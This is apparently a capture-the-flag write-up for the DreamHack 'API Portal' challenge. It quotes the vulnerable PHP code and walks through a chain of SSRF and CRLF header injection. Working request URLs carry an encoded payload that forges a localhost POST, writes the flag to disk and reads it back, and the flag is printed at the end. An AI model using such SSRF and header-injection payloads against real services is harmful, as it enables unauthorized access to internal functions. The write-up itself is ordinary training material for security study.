328 words
2 minutes
DreamHack - [API Portal challenge writeup]

There are many actions, but don’t be confused. Most are pretty useless.

Flag is displayed in flag.php, particularly this block of code.

if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" || $_SERVER["REMOTE_ADDR"] === "::1") {
if($_POST["mode"] === "write" && isset($_POST["dbkey"]) && isset($_POST["key"])) {
$k1 = md5($_POST["dbkey"]);
$k2 = md5($_POST["dbkey"].$_POST["key"]);
echo "k1 = " . $k1 . "<br>";
echo "k2 = " . $k2 . "<br>";
$value = base64_encode($flag);
@file_put_contents("/tmp/api-portal/db/$k1/$k2", $value);
die("success");
}
}

If successfully has IP address of localhost and the body (sent by POST request) contains the required data, then flag is written into /tmp/api-portal/db/$k1/$k2. So we need to find somewhere that sends POST requests.

In the source code, /net/proxy/post.php sends a POST request (via file_get_contents()) to the input url with unsanitized referer header.

$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";
$ctx = stream_context_create(array(
'http' => array(
'method' => 'POST',
"content" => "", //TODO: implement
'header' => $header
)
));
die(file_get_contents($url, null, $ctx));

Even thought the IP is added into the header, if we make file_get_contents() sends the request to the server itself, the IP is still localhost.

To have the POST body, the only piece of information left is the X-Api-Referer header. So I searched on Google and found out that because the $referer is not sanitized and added directly to the header, it is vulnerable to CRLF Injection.

We can extend the header with Content-Length and mode=...&dbkey=...&key=....

First, let’s craft the payload to SSRF the server.

/?action=net/proxy/post&url=127.0.0.1/index.php?action=flag/flag

With this payload, file_get_contents() will send request to the localhost again.

Then, we add the CRLF Injection payload.

Put the CRLF payload in another dummy parameter, don’t concat it directly to the url. Because then, the url that is passed into file_get_contents() will be wrong.

/?action=net/proxy/post&url=127.0.0.1/index.php?action=flag/flag&dummy=%0d%0aContent-Type:+application/x-www-form-urlencoded%0d%0aContent-Length:+28%0d%0a%0d%0amode=write%26dbkey=uia%26key=tr3

After the flag is put into /tmp/api-board/db/<md5('uia')>/<md5('uiatr3')>, use the /?action=db/read&dbkey=uia&key=tr3 to achieve the flag.

However, we forgot an important step. At first, we need to create the directory first.

/?action=db/create&key=uia

This creates the directory /tmp/api-board/db/<md5('uia')>.

Then, create the sub-directory, which is uiatr3, using the /?action=db/save&dbkey=uia&key=tr3&value=hihi.

/?action=db/save&dbkey=uia&key=tr3&value=hihi

This creates the directory /tmp/api-board/db/<md5('uia')>/<md5('uiatr3')> and adds value “hihi” to it.

🚩 Flag: GoN{WhyCrLfCrLfIsntFiltered}

DreamHack - [API Portal challenge writeup]
https://minhi1.github.io/minhi1-blogs/posts/dreamhack/level-4/pyramid-copy/
Author
Minhi1
Published at
2026-01-02
License
CC BY-NC-SA 4.0